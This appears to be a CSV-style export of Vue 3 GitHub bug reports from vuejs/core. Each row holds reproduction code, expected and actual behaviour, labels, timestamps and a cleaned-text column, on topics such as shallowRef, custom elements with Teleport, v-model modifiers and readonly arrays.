https://play.vuejs.org/#eNp9UstOwzAQ/JXFl4LUJKJwqkIlQD3AoUWlR1+idJumJLblR6kU+d9ZO2qIEOrNnp0Zz6zcsWel0pNDNme5KXWtLBi0Ti24qFsltYUOzKFoGvm9wT142GvZwoQUEy5KKQzxbWERnka02w5K6YSdwz34Oy64yDLYSTSwWm/B6rqqUEN5KESFnCxIn56KxmEaZeQ1G4v+CggfaYg9PDcDz0We9UWoAl0stqohMt0A8psk6bVzEnEWZZxFISRJz1EaFxcOlY/tvM+zgAf3kSObMmtoC/u6So9GCtpiFzyCc6vqBvVa2Zq2FN6IkzCLa3qPmNUOpxe8PGD59Q9+NOeAcfah0aA+IWfDzBa6wliBs+XnCs90Hoat3LmG2FeGGzSycSFjT3txYkexR7yY9i3+hVpUW7M8WxTmUioEDUwf+ZzRx3i9Uv037kP6GHVceOZ/AFMJ18o=

### Steps to reproduce

```vue
<script setup>
import { shallowRef } from 'vue'
const state = shallowRef({ count: 1 })

// does NOT trigger change
state.value.count = 2

// does trigger change
// state.value = { count: 2 }
</script>

<template>
  <!-- state: { ""count"": 2 } -->
  <pre>state: {{ state }}</pre>
</template>
```


### What is expected?

```vue
<template>
  <!-- state: { ""count"": 1 } -->
  <pre>state: {{ state }}<pre>
</template>
```


### What is actually happening?

```vue
<template>
  <!-- state: { ""count"": 2 } -->
  <pre>state: {{ state }}<pre>
</template>
```
### System Info

```shell

```

### Any additional comments?

_No response_",,2025-10-10 02:44:40+00:00,2025-10-10 06:11:42+00:00,2,nan,0.1438,shallowref isn t consistent with the description in the vue x documentation vue version x link to what is expected what is actually happening system info any additional comments no response,documentation,-0.296
vuejs/core,3499580495,"In Vue 3, shadow components cannot be named using all capital letters. They can only be recognized as shadow components when they are named in kebab-case.","### Vue version

lastest

### Link to minimal reproduction

-

### Steps to reproduce

✅
```
  <cropper-canvas ref=""croppercanvas"" background />
```

<img width=""1270"" height=""362"" alt=""Image"" src=""https://github.com/user-attachments/assets/f5fd6d6d-df20-4c90-9960-c1078fc2689b"" />

❌

```
  <CropperCanvas ref=""croppercanvas"" background />
```

<img width=""1357"" height=""503"" alt=""Image"" src=""https://github.com/user-attachments/assets/2e8b4dde-7530-4e35-a83f-1eed47418028"" />

### What is expected?

fix

### What is actually happening?

-

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-10-09 15:12:54+00:00,2025-10-10 01:11:45+00:00,1,nan,0.4159,in vue shadow components cannot be named using all capital letters they can only be recognized as shadow components when they are named in kebab case vue version lastest link to what is expected fix what is actually happening system info any additional comments no response,others,0.0772
vuejs/core,3489541847,v-model tsx Types,"### Vue version

^3.5.22

### Link to minimal reproduction

-

### Steps to reproduce

1. Define props with tsx:
```javascript
export default defineComponent({
  props: {
    modelValue: {
      type: Boolean,
      required: true,
    },
  },
  emits: {
    'update:modelValue': (v: boolean) => true,
  },
```
2. use the defined modelValue with v-model with tsx
```<Component v-model={}/>```

### What is expected?

To not throw typing errors, since VModel is defined.

### What is actually happening?

```typescript
Type '{ ref: Ref<CreateComponentPublicInstanceWithMixins<...>> | undefined, CreateComponentPublicInstanceWithMixins<...> | undefined }' 
is not assignable to type 'IntrinsicAttributes & Partial<{}> & Omit<{
  readonly modelValue: boolean;
  readonly ""onUpdate:modelValue""?: ((v: boolean) => any) | undefined;
  readonly onSubmit?: ((code: string) => any) | undefined;
} & VNodeProps & AllowedComponentProps & ComponentCustomProps, DefaultKeys<...>>'.

Property 'modelValue' is missing in type '{ ref: Ref<CreateComponentPublicInstanceWithMixins<...>> | undefined, CreateComponentPublicInstanceWithMixins<...> | undefined }' 
but required in type 'Omit<{
  readonly modelValue: boolean;
  readonly ""onUpdate:modelValue""?: ((v: boolean) => any) | undefined;
  readonly onSubmit?: ((code: string) => any) | undefined;
} & VNodeProps & AllowedComponentProps & ComponentCustomProps, DefaultKeys<...>>'.
```

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-10-07 00:28:23+00:00,2025-10-09 01:27:02+00:00,1,nan,2.0407,v model tsx types vue version link to define props with tsx use the defined modelvalue with v model with tsx what is expected to not throw typing errors since vmodel is defined what is actually happening system info any additional comments no response,others,-0.0423
vuejs/core,3483373405,get ref error when use dynamic component by defineAsyncComponent,"### Vue version

3.5

### Link to minimal reproduction

null

### Steps to reproduce

[Vue warn]: Missing ref owner context. ref cannot be used on hoisted vnodes. A vnode with ref must be created inside the render function. 

### What is expected?

null

### What is actually happening?

null

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-10-04 07:54:52+00:00,2025-10-04 08:59:57+00:00,1,nan,0.0452,get ref error when use dynamic component by defineasynccomponent vue version link to null vue warn missing ref owner context ref cannot be used on hoisted vnodes a vnode with ref must be created inside the render function what is expected null what is actually happening null system info any additional comments no response,bug,-0.4939
vuejs/core,3477410318,DOM not updating when using number modifier,"### Vue version

3.5.22

### Link to minimal reproduction

[Playground](https://play.vuejs.org/#eNp9UctOwzAQ/JWVLwUJEqmFS5VWAtQDHAAB4mQJhWQbXBzb8iMURfl31g4tPaDe1juzs7Pjnl0Zk3UB2ZwVHlsjS49LrgCKWnSpoFIoEzx0562uUWYqtO9oF5x1pQzIGeTjQD5OpNosE/c1MubQ95C4MAxFbohT5Ae76OkqK4wHhz4YkKVqSN07zggVrdHWQw8W1zDA2uoWJmR4EgcrrRwZS9qLyDiZTE6j/Cj4K+6/JYKrtMF6SVB8EsLOaAUJrEWTbZxWlEAfvXNW6dYIifbBeEELOKMLxiQ4K6XUX3ep523As12/+sDq85/+xm1jj7NHiw5tR3ntMV/aBv0Ir57vcUv1HqT8giT2EfAJnZYhehxp10HVZPuAl9zepgSFal7cautRud1R0WhkDolP/xnw5sjpf3Zn2UWa42qgFN86tFGTApxll9l0yoYfL/3GIg==)

### Steps to reproduce

1. Enter `1a` in the input field

2. Notice that `modelValue` has been updated

3. Blur the input or press Enter

### What is expected?

Like the trim modifier, update the input value when the change event is triggered.

### What is actually happening?

Data and view are out of sync

### System Info

```shell
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
```

### Any additional comments?

In vue2 it works as expected.

[Vue2 Playground](https://vue2-sfc-playground.vercel.app/#eNo9T81OwzAMfhUrl4LEGoljlSF4CU6+lC6DQpNYidNLlHfHSbfdPuv7dVEfROOerZqUSUtciSFZzvSGfnUUIkOBaK9Q4RqDg0GkA3r0S/CJYZ+3bOHcFE/D8Ize6CNE7HKwdbTNbOUCMJd170Dg6imL++TCxW6jz+7LxjOqHocKdLMzcrd0zWdjJiilS2o1+p52R0Y/2tSLOraf3EzjbwpevitNjDcioZKwY4zUttJJwA8zpUnr7Onve1yC00K9v0pD4gZHm5zkoWrOir6q+g8XrG5p)","scope: v-model,:hammer: p3-minor-bug",2025-10-02 12:50:48+00:00,2025-11-05 09:11:36+00:00,0,"scope: v-model,:hammer: p3-minor-bug",33.8478,dom not updating when using number modifier vue version link to playground enter in the input field notice that has been updated blur the input or press enter what is expected like the trim modifier update the input value when the change event is triggered what is actually happening data and view are out of sync system info any additional comments in vue it works as expected vue playground,bug,0.6369
vuejs/core,3475287410,[custom-element] Crash in _renderSlots when Teleport target is ancestor of custom element host (shadowRoot: false),"### Vue version

3.5.22

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-ycis7iro?file=src%2FApp.vue

### Steps to reproduce

Steps to reproduce

1. Use defineCustomElement to create a custom element with shadowRoot: false.

2. Inside its template, include a <Teleport to=""body"">…</Teleport>.

3. Mount the custom element so that the body contains the custom element host.

4. Open the page and observe console.

### What is expected?

Teleport should work reliably even if its to target is an ancestor of the custom element host. The custom element should correctly render its slotted content without errors.

### What is actually happening?

vue.js:11802 Uncaught TypeError: Cannot read properties of null (reading 'insertBefore')
    at VueCustomElement._renderSlots (vue.js:11802:18)
    at callWithErrorHandling (vue.js:2296:19)
    at callWithAsyncErrorHandling (vue.js:2303:17)
    at invokeVNodeHook (vue.js:9916:3)
    at vue.js:7537:19
    at flushPostFlushCbs (vue.js:2481:28)
    at render2 (vue.js:8196:7)
    at mount (vue.js:6117:13)
    at app.mount (vue.js:12387:19)
    at VueCustomElement._mount (vue.js:11610:15)

### System Info

```shell

```

### Any additional comments?

https://github.com/vuejs/core/pull/13900",":hammer: p3-minor-bug,scope: custom elements",2025-10-01 22:02:54+00:00,2025-11-05 09:04:34+00:00,0,":hammer: p3-minor-bug,scope: custom elements",34.4595,custom element crash in renderslots when teleport target is ancestor of custom element host shadowroot false vue version link to use definecustomelement to create a custom element with shadowroot false inside its template include a mount the custom element so that the body contains the custom element host open the page and observe console what is expected teleport should work reliably even if its to target is an ancestor of the custom element host the custom element should correctly render its slotted content without errors what is actually happening vue js uncaught typeerror cannot read properties of null reading insertbefore at vuecustomelement renderslots vue js at callwitherrorhandling vue js at callwithasyncerrorhandling vue js at invokevnodehook vue js at vue js at flushpostflushcbs vue js at render vue js at mount vue js at app mount vue js at vuecustomelement mount vue js system info any additional comments,bug,-0.2177
vuejs/core,3467359862,"when the first args is pure element and children is an array, h function not work","### Vue version

v3.5.22

### Link to minimal reproduction

https://play.vuejs.org/#eNp9kkFr3DAQhf/KRBfvgr2mtKetd6EtgbaHNiSBHKIcjD27q0QeCUneLBj/94xknISQ5GTNvG/Ee2MN4oe1q2OPYi0q3zhlA3gMvd1KUp01LsAADnc5tLhThL8MNwkp5HCAEXbOdJDxeCZJUmPIB+j8HjZxZpH9Rq0N3Bin27NsGZEZivcw9ebSxSAJeJRadIslpCrWoXcEh0XWqmOWs6FG196vIZvIDMYcGN9s4XaagAh7W1OkWZzObCBKd+k7ShqX3yVV5ZSa83IRsLO6DsgVQHVWFFAdvmyHIYUax6rkKkmKbB/gWHSmRb2RgnUpoNxCUUxACljyuSpfXSpyETxvYKf2q3tviLeeQkrRMK80uv82KN6QFOs5vhQ1b/Hxb+oF12M+95sDNg/v9O/9KfakuHDo0R1Rimct1G6PYZLPr/7hic/PIqfpNdOfiJfoje6jxwn72VPLtl9xye2f9HYU7a/9+Skg+TlUNJr2n3gp+O3EVX0U/cXu19W3+b+J8QnUmuCh

### Steps to reproduce

when the first args is pure element and children is an array, h function not work

### What is expected?

expecting `span` to be rendered, but it doesn't work.

### What is actually happening?

not render `span`

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-09-30 03:17:24+00:00,2025-09-30 09:33:24+00:00,2,nan,0.2611,when the first args is pure element and children is an array h function not work vue version v link to when the first args is pure element and children is an array h function not work what is expected expecting to be rendered but it doesn t work what is actually happening not render system info any additional comments no response,others,-0.4215
vuejs/core,3465836288,Safari/Firefox Picture img source download twice,"### Vue version

3.5.21

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-w4e7d18g?file=vite.config.js,src%2Fmain.js,index.html&terminal=dev

### Steps to reproduce

1. configure the build to use the `bundler` version
```js
  resolve: {
    alias: {
      vue: ""vue/dist/vue.esm-bundler.js"",
    },
  },
```
2. Use this template in the HTML file
```html
    <div id=""app"">
      <picture>
        <source
          media=""(min-width: 800px)""
          srcset=""https://placehold.co/800x400/4CAF50/red?text=Desktop+Image""
        />
        <source
          media=""(min-width: 400px)""
          srcset=""https://placehold.co/600x300/2196F3/yellow?text=Tablet+Image""
        />
        <img
          src=""https://placehold.co/300x200/FF9800/white?text=Img+SRC""
          alt=""Responsive sample image""
        />
      </picture>
    </div>
```
3. Mount the app template with Vue
```ts
import { createApp } from 'vue'
createApp().mount('#app')
```

4. Launch on Safari in a resolution so it shows the image for desktop/tablet
5. Inspect the network panel from devtools

### What is expected?

- It should download only the correct source and not download image from `<img src>` in addition.

### What is actually happening?

- The image from `<img src>` is downloaded in addition of the image from `<source srcset>`.
- This seem to happen only with in-DOM template
- I believe this happen when the in-DOM template is transformed into shadow DOM. An `Image` class might be create... [TRUNCATED]",,2025-09-29 16:57:50+00:00,2025-10-04 00:45:14+00:00,1,nan,4.3246,safari firefox picture img source download twice vue version link to configure the build to use the version use this template in the html file mount the app template with vue launch on safari in a resolution so it shows the image for desktop tablet inspect the network panel from devtools what is expected it should download only the correct source and not download image from in addition what is actually happening the image from is downloaded in addition of the image from this seem to happen only with in dom template i believe this happen when the in dom template is transformed into shadow dom an class might be create truncated,others,0.2732
vuejs/core,3465138376,'sandbox' attribute is not removed when bound to a nullish value,"### Version
3.5.22

### Reproduction link
[play.vuejs.org/](https://play.vuejs.org/#__PROD__eNp9Ud1KwzAUfpVyrkcHm96UOlDZhV6oqJcBie1ZzUyTkJ9aGX13T1JWq4zdJd9fvnNygGtj8i4gFFB6bI3kHjdMZVlZiy4rHFf1u+6vGKggJQNC/LfE2b2S3LnpvimX5BsDxM7yFk9l/PX8z6SM0Uox5XJWChbgXaXVTjT53mlFnQ/xJQaVbo2QaB+NF1o5BkWWmMhxKfXXfcK8Dbg44tUHVp8n8L3rI8bgyaJD2yGDifPcNuhHevvygD2dJ7LVdZCkPkM+o9MyxI6j7CaommrPdKntXWu09UI1r27be1TuOFQsGpVD0jOgj7s9M/pv3XV+kXxMDbTFtw5tzKQFrvPLfLWC4QcuZ6pL)







### Steps to reproduce
Run the reproduction and confirm the presence of `sandbox` attribute in the iframe element.

### What is expected?
According to the Vue docs, the `sandbox` attribute shouldn't be present - the sandbox restrictions shouldn't be applied.
This behavior is observable in Vue 2 in this example:
https://codepen.io/tomasz-pucka/pen/gbPrzoV

### What is actually happening?
`sandbox` attribute is set to 'null' string resulting in console errors. Setting it to an empty string applies the most restrictive sandbox mode.

<!-- generated by vue-issues. DO NOT REMOVE -->",:hammer: p3-minor-bug,2025-09-29 13:52:26+00:00,2025-11-05 08:53:59+00:00,0,:hammer: p3-minor-bug,36.7927,sandbox attribute is not removed when bound to a nullish value version play vuejs org run the reproduction and confirm the presence of attribute in the iframe element what is expected according to the vue docs the attribute shouldn t be present the sandbox restrictions shouldn t be applied this behavior is observable in vue in this example what is actually happening attribute is set to null string resulting in console errors setting it to an empty string applies the most restrictive sandbox mode,bug,0.1531
vuejs/core,3455949986,v-bind's same-name shorthand fails (causes crash) in in-DOM templates,"### Vue version

3.5.22

### Link to minimal reproduction

https://gist.github.com/syimyuzya/05412cc74587b2b31f935c9db9c0ee8a

### Steps to reproduce

Open the reproduction example HTML file in a browser, no build process needed.

### What is expected?

A page showing the following text:

```
Fail #1: param is orz

Pass #1: param is orz

Pass #2: param is orz
```

### What is actually happening?

Got a TypeError: can't access property ""type"", value is undefined

### System Info

```shell
System:
    OS: Linux 6.16 Arch Linux
    CPU: (8) x64 11th Gen Intel(R) Core(TM) i7-1165G7 @ 2.80GHz
    Memory: 6.68 GB / 15.35 GB
    Container: Yes
    Shell: 5.9 - /usr/bin/zsh
  Binaries:
    Node: 24.8.0 - /usr/bin/node
    Yarn: 1.22.22 - ~/.local/bin/yarn
    npm: 11.6.0 - /usr/bin/npm
    pnpm: 9.4.0 - ~/.local/bin/pnpm
    bun: 1.2.14 - ~/.bun/bin/bun
```

### Any additional comments?

The problem only occurs in in-DOM templates. SFCs and `<script type=""text/x-template"">` is unaffected and work just fine.","has workaround,:hammer: p3-minor-bug,regression",2025-09-26 06:19:12+00:00,2025-11-05 08:51:30+00:00,1,"has workaround,:hammer: p3-minor-bug,regression",40.1058,v bind s same name shorthand fails causes crash in in dom templates vue version link to open the reproduction example html file in a browser no build process needed what is expected a page showing the following text what is actually happening got a typeerror can t access property type value is undefined system info any additional comments the problem only occurs in in dom templates sfcs and is unaffected and work just fine,bug,-0.8176
vuejs/core,3446812897,Dependency Injection inheritance fails when provided after grandchildren are rendered.,"### Vue version

Commit b555f02, latest in main branch.

### Link to minimal reproduction

https://play.vuejs.org/#eNrlVU2P2jAQ/SuWVYkgRYkWONGA2m330Er90La9+ULDAIbEjvzBUiH+e8c2ScmKROpq20N7i2eex8/vPStH+rqqkr0FOqWZzhWvDNFgbDVngpeVVIYcSaXkni+BnMhKyZIMED5o2m9kWd2cG0nqV27e4CUTTJx3Rozu4AejMWHUI8+HMjp0qJUVueFSEAUrBXoT5ThlSI5MEOI+kxcrqXL4Vi0XBqIhTj65bVkaCCNVXBgoqwL7uCIkC6ymhpcwY/Qt1hMhH6Iho/MskAy479YYPPhVXvB8h8iagdlw7cD3YZ2lAYibsvTiJBpTo3MpVnydbLUUqKJnzajjzQtQnyp3M83oNNzH9RZFIR/e+5pRFuK6nm8g312pb/XB1Rj9jFxA7VG3pmcWag0mtO++fIQDfjfNUi5tgeie5j1oWVjHMcBurVgi7QucZ/vOm83F+qu+OxgQur6UI+qQJ49nFF118nZd/RfdcTLx+9BMVLHJTXcOHWTUCtrIB+0iqOheTLjYQm7iOrUxkeIWMEDwQVqB9XoZ4tQKNSYLzdSGYGdBZm5eJGxRuMh1h7nhjnH2wNaBUTQks3lQwI1N9ovCAg4PPOtpPtX+NbT5/eb2vjex5Hv/QTxjcoO2HMNNT+iCq/tnM7r6bEgahqRhyuNX0NjR79+45d/47/r3p2zpy4XXJIx5bv9GHf6Nn+qft6Pfv0nLv8m/4d/z2jLusGXyVFu8yn2/55bq/5fYk8diXxfy9BPP2P6K

### Steps to reproduce

Create 4 components, each a child of the other.
App -> 1 -> 2 -> 3 -> 4

App and Component 1 each provides a unique value for the key ""test"" on first render. When Component 2 is re-rendered provide a unique value for the key ""test"".

### What is expected?

It should be expected that Component 4 inherits the new provided value of Component 2, but instead only Component 3 inherits.

### What is actually happening?

When provide() is called, it creates a new Object with the prototype of the previous parent's providers, however when this is done in overlap like it is here, it skips one.

First Render... [TRUNCATED]","has workaround,:hammer: p3-minor-bug,need discussion",2025-09-23 22:15:40+00:00,2025-11-24 06:54:13+00:00,7,"has workaround,:hammer: p3-minor-bug,need discussion",61.3601,dependency injection inheritance fails when provided after grandchildren are rendered vue version commit b f latest in main branch link to create components each a child of the other app app and component each provides a unique value for the key test on first render when component is re rendered provide a unique value for the key test what is expected it should be expected that component inherits the new provided value of component but instead only component inherits what is actually happening when provide is called it creates a new object with the prototype of the previous parent s providers however when this is done in overlap like it is here it skips one first render truncated,bug,0.85
vuejs/core,3446120607,"When a component is exposed inside an object property, like in the Compound Component pattern, the component is not rendered when built","### Vue version

3.5.18

### Link to minimal reproduction

https://github.com/MakhBeth/vue-vite-compound-component-issue/tree/main

### Steps to reproduce

1. Run the app in the development environment with `npm run dev` — everything works as expected.
2. Build the app with `npm run build`.
3. Launch the built app from the dist folder using `npm run start`.
4. Observe that the component passed as an object property is not rendered.

### What is expected?

Same output between dev environment and production: the component should be rendered when passed as an object property via props.

### What is actually happening?

In build env, instead of having the component rendered, you will have an empty html tag.

### System Info

```shell

```

### Any additional comments?

I'm developing a Vue library based on Tanstack Query. Our library enriches the `form` object, with some components, like `Input`, `Errors`, etc, that help manage the form. 
Everything works fine in dev environment, but when we build, all the `<form.Input />` tags are transformed in simple html tags like `<form.input></form.input>`","scope: sfc,:hammer: p3-minor-bug",2025-09-23 17:33:26+00:00,2025-09-24 09:03:48+00:00,2,"scope: sfc,:hammer: p3-minor-bug",0.6461,when a component is exposed inside an object property like in the compound component pattern the component is not rendered when built vue version link to run the app in the development environment with everything works as expected build the app with launch the built app from the dist folder using observe that the component passed as an object property is not rendered what is expected same output between dev environment and production the component should be rendered when passed as an object property via props what is actually happening in build env instead of having the component rendered you will have an empty html tag system info any additional comments i m developing a vue library based on tanstack query our library enriches the object with some components like etc that help manage the form everything works fine in dev environment but when we build all the tags are transformed in simple html tags like,bug,0.7543
vuejs/core,3444544659,callWithErrorHandling masks the actual error,"### Vue version

3.5.21

### Link to minimal reproduction

https://play.vuejs.org/#eNqtVE1P3DAQ/SuWL5uVVqmq9pQCEgsctlILanurOZhksnhxbMuewKIo/51xks3mEOAAPiT2fDy/eR674efOpY818IyfhNwrhywA1u5MGFU565E1zEO5epKY37OWld5WbEEJC2GEya0JyJy3LrBTVkCpDNzEVdIIw2iocAkolc7YYIgDnx1kbG2tBmlWRzvly1pjxkqpAwyOdvgXqgITlDWXEuUM3Ln38nkOLFmy0zP2//Y1vGuH9A2fAFnZAvRaBtiY0s7gXd/tIMfXAZsD0OEPhcJfBPpx9aSc0+w9QknTLidA7fJHPPSuFZLe3Md1DZDSHkPwUM4RN/YJ8U213Q6Jh7EYcxcTHnGMjjS3OqSl0gg+SRRC1cHHSTqe4oU1pdpuiuURJLKdatBQeeAyhr6GFVNVRfJKJBmigbXCxISTL/0toP6nBW3hNMXQijSDgF9jxMTKVxwDVUd7p7tgDV2jrmzBc1s5pcEP7SX4qL/gUmv79LOzdWQO9vwe8ocZ+y7so03wGw8B/CMIPvpQ+i1g7776+xv2NB+d1JG1pug3nH+ATqaOHPuwdW0Koj2J69huusdAme2/cLXHXvORaIzsVRacnoaLN0o/0v2Wfu/yqK94+wI9E2Gx

### Steps to reproduce

**In the local  dev environment**

const props = defineProps({
    aaa: {
        type: Object,
        default: () => ({}),
    },
});

watch(
    () => props.aaa,
    () => {
        console.log(
            'props.aaa',
            props.aaa.cols.filter((item: any) => item.dimensionConfigId)
        );
    },
    { deep: true, immediate: true }
);

### What is expected?

<img width=""611"" height=""82"" alt=""Image"" src=""https://github.com/user-attachments/assets/05a3aebd-b290-4f86-b159-9db6f6176a86"" />
I hope to report a real js error

### What is actually happening?

<img width=""545"" height=""15"" alt=""Image"" src=""https://github.com/user-attachments/assets/4a0f90fd-ddd5-4621-b773-2ec63ad0ac15"" />

### System Info

```shell

```

### Any additional com... [TRUNCATED]",,2025-09-23 09:58:01+00:00,2025-09-24 02:00:45+00:00,1,nan,0.6686,callwitherrorhandling masks the actual error vue version link to in the local dev environment const props defineprops aaa type object default watch props aaa console log props aaa props aaa cols filter item any item dimensionconfigid deep true immediate true what is expected i hope to report a real js error what is actually happening system info any additional com truncated,bug,0.3612
vuejs/core,3428402044,[custom-element] native slots attributes not responding to reactivity,"### Vue version

3.5.21

### Link to minimal reproduction

https://play.vuejs.org/#eNqNU01v2zAM/SucDnUKpPZhO3luujVIgQ5YW2w96uLIjONWlgxLzgcC//dRUp14WFb0JIl8Ih/JxwP73jTxpkOWssyItmosGLRdM+OqqhvdWjhAi6spFLiqFM47Y3W9kFijstDDqtU1RPQ/OuJ/7ue6bt48cRKeWhE+FuhSRV+54kqMI5k4hJ9E9f5KDPjobNZJiHh5GcJoZSzkRTGXuTFw7chObNuhc2dJKImKoYfFupG5RXoBZONEkA4BvA/gHvIactjiEk6gbWXXZBQ+kVZQ7yETusBZkyX+hFwVbyYjtR2sGHjHcNvZ6enXGQgUGo2KLBVhKGkBVtM1F7baIIh1rko0sWefjOn78sjohubYh1ZUBg6HU2duIHp8iCCl4+4ugr4Pcdwff1t21lJR34SsxOs1Z6OWfhrunM2edVlKDCmyJHyiEFky6i6bMmtoMKuqjF+MVqStg8vBmaNcSWwfG1vR4DhLwXucL5dSb394m5vfdLCLNYrXM/YXs3M2zp6oW9hukLOjz+ZtiTa4F78fcEf3o7PWRScJ/Y7zFxotO8cxwG47VRDtEc6zvfeKr1T5bBY7i8oMRTmiDtl7PGekeqfZ/5V+ovs5/uL/cdVTF//dndGaSpIDzclSqOPKchUW5qnVjclO079JYam1xFxBP5u41aC0765HA6kX+lgJFxcQ0QOLK++KSA6hgsxp+WMfKCdhQw4vvr+V0/8Bk+GLUQ==

### Steps to reproduce

1. Open DevTools and expand the shadow root of `my-component`
2. Notice that the `'added-class'` is applied to both the `p` and `slot` elements
3. Click the button to toggle the classname off through the update of a property on `my-component`
4. Notice that the `'added-class'` is removed from the `p` element but not the `slot` element

### What is expected?

The `slot` element should have the classname remove from it after the button is clicked in step 3.

### What is actually happening?

The `slot` element is not updating its attributes in response to reactivity.

### System Info

```shell
System:
    OS: macOS 15.6.1
    CPU: (14) arm64 Apple M4 Pro... [TRUNCATED]","has workaround,:hammer: p3-minor-bug,scope: custom elements",2025-09-18 02:29:17+00:00,2025-09-24 09:08:26+00:00,1,"has workaround,:hammer: p3-minor-bug,scope: custom elements",6.2772,custom element native slots attributes not responding to reactivity vue version link to open devtools and expand the shadow root of notice that the is applied to both the and elements click the button to toggle the classname off through the update of a property on notice that the is removed from the element but not the element what is expected the element should have the classname remove from it after the button is clicked in step what is actually happening the element is not updating its attributes in response to reactivity system info shell system os macos cpu arm apple m pro truncated,bug,0.1655
vuejs/core,3427614644,`Array.prototype.push` mutates readonly arrays created with `ref([])`,"### Vue version

3.5.18

### Link to minimal reproduction

https://github.com/arfedulov/vue-reactive-push-reproduce

### Steps to reproduce

- Clone the repository.
- Run dev server.
```
npm i
npm run dev
```
- Look at ""example with ref()"".
- Click (1) button
- See that item was added (that's correct)
- Click (2) button
- See that item was added and there is no warnings (that's incorrect, because the array is readonly)
- Click (3) button
- See that item was not added and there is a warning in console ""Set operation on key ""items"" failed: target is readonly"" (that's correct)



### What is expected?

The array always stays immutable when wrapped in `readonly()`.

### What is actually happening?

An object wrapped in `readonly()` stays mutable by `Array.prototype.push()` call on its property.

### System Info

```shell
System:
    OS: Linux 6.14 Ubuntu 24.04.3 LTS 24.04.3 LTS (Noble Numbat)
    CPU: (24) x64 13th Gen Intel(R) Core(TM) i7-13700KF
    Memory: 21.78 GB / 31.16 GB
    Container: Yes
    Shell: 5.2.21 - /bin/bash
  Binaries:
    Node: 22.14.0 - ~/.nvm/versions/node/v22.14.0/bin/node
    npm: 10.9.2 - ~/.nvm/versions/node/v22.14.0/bin/npm
  Browsers:
    Chrome: 140.0.7339.127
  npmPackages:
    vue: ^3.5.18 => 3.5.21
```

### Any additional comments?

This is only the case when we create object like this `readonly({ myArray: ref([]) })`. There is no problem if we create object
like this `readonly(reactive({ myArray: [] }))`, as you can see in ""example with reactive(... [TRUNCATED]","scope: reactivity,:hammer: p3-minor-bug",2025-09-17 19:51:46+00:00,2025-09-24 09:10:51+00:00,0,"scope: reactivity,:hammer: p3-minor-bug",6.5549,mutates readonly arrays created with vue version link to clone the repository run dev server look at example with ref click button see that item was added that s correct click button see that item was added and there is no warnings that s incorrect because the array is readonly click button see that item was not added and there is a warning in console set operation on key items failed target is readonly that s correct what is expected the array always stays immutable when wrapped in what is actually happening an object wrapped in stays mutable by call on its property system info any additional comments this is only the case when we create object like this there is no problem if we create object like this as you can see in example with reactive truncated,bug,-0.5859
vuejs/core,3425134197,Incorrect runtime prop type inference when using `Prettify`,"### Vue version

3.5.15-3.5.16, 3.5.19-3.5.21

### Link to minimal reproduction

https://play.vuejs.org/#eNqNU8Fu2zAM/RXBKOYNaC0MXS+ZG6AbetgKbMGaW12sjk07amRJkOgsget/HyUvbtYUQW8U+Ug+PpFddGVMsm4hmkSpK6wwyGSu6sssQpdFzAG2Zpop0Rhtkc21ligMq6xuWJzwf29fIM5UyocKhKcHQmNkjkAvxtJdJrkKaEAhdVhoRN1QF06YlO8lRKfUvtCqEnXy6LQidp0vk0WFboyQYH8aFFoRxQkLER/LpdR/vgcf2hZOd/5iCcXqFf+j23hfFs0sOLBryKIxhrmtAYfw9e0P2JA9BhtdtpLQR4K/wGnZeo4D7EurSqK9hwtsvwVdharn7nqDoNxuKE/UI/uAzyJS+OuR0Z/pniefQl6meq/i1oBL0JGAnLMlonETzmuBy3aRkJa8kjr3/c9a8Z+9kHrBm9whWG7yYpXX4DjNIx13tuBClbChuv6nfQ9GEiKKapvOp+xyx+vuhgnFVrDVFZvfT9j87ub+MxFj71jXk5Ep2IS9CiWupKiVXw0qEDuaCGP2xGJQZXyAvRUleBhqE0BW1MsBPixVMCVUeJga2kA52y0ilXk46XzB/uykG0n0DweZ+ynjvIHJ00HVKWWT/nsH8rYLC426vVb9eGzhL+nMMtK+EgpmVhuXBqnHq5o8Z5LO0/cfjl9lKdbBINNJjeEQyeaD/+VJ/l6D9QtKk5wnF8nHi6j/C3TWc8k=

### Steps to reproduce

1. Open the reproduction link
2. Check the developer console
3. You will see the runtime prop validation warning:

```
Invalid prop: type check failed for prop ""placement"". Expected Object, got String with value ""bottom"".
```

### What is expected?

There should be no prop validation warning.

### What is actually happening?

Before version 3.5.15, the runtime type was inferred as `null` when using a complex type like [`Prettify`](https://www.totaltypescript.com/concepts/the-prettify-helper). Now, it is inferred as `Object`, which doesn’t seem correct for runtime type checking in this case.

### System Info

```shell

```

### Any additional comments?

This... [TRUNCATED]","scope: sfc,:hammer: p3-minor-bug",2025-09-17 07:56:49+00:00,2025-09-18 13:58:12+00:00,1,"scope: sfc,:hammer: p3-minor-bug",1.251,incorrect runtime prop type inference when using vue version link to open the check the developer console you will see the runtime prop validation warning what is expected there should be no prop validation warning what is actually happening before version the runtime type was inferred as when using a complex type like now it is inferred as which doesn t seem correct for runtime type checking in this case system info any additional comments this truncated,bug,-0.5423
vuejs/core,3422587038,[custom-element] Slots outside Teleport not rendered when using shadowRoot: false (regression from #11851),"### Vue version

Vue 3.5.5+ (regression introduced by PR #11861 that closed issue #11851)

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-ycis7iro?file=src%2FApp.vue,src%2Fcomponents%2FWidget.vue&terminal=dev

### Steps to reproduce

1. Build the component above as a custom element with shadowRoot: false.
2. Mount it in a page with both headerContent and bodyContent slots.
3. Observe the rendered DOM.

### What is expected?

- Both headerContent (outside Teleport) and bodyContent (inside Teleport) should render.
- The slot collection should check both the host root and the teleport target.

### What is actually happening?

When the component is built as a custom element with shadowRoot: false, only the slots inside the Teleport are rendered. Any slots defined outside the Teleport (e.g. headerContent) are ignored, so their projected content never appears in the DOM.

Root cause: in apiCustomElement.ts, slots are collected via:
`const outlets = (this._teleportTarget || this).querySelectorAll('slot')`

### System Info

```shell

```

### Any additional comments?

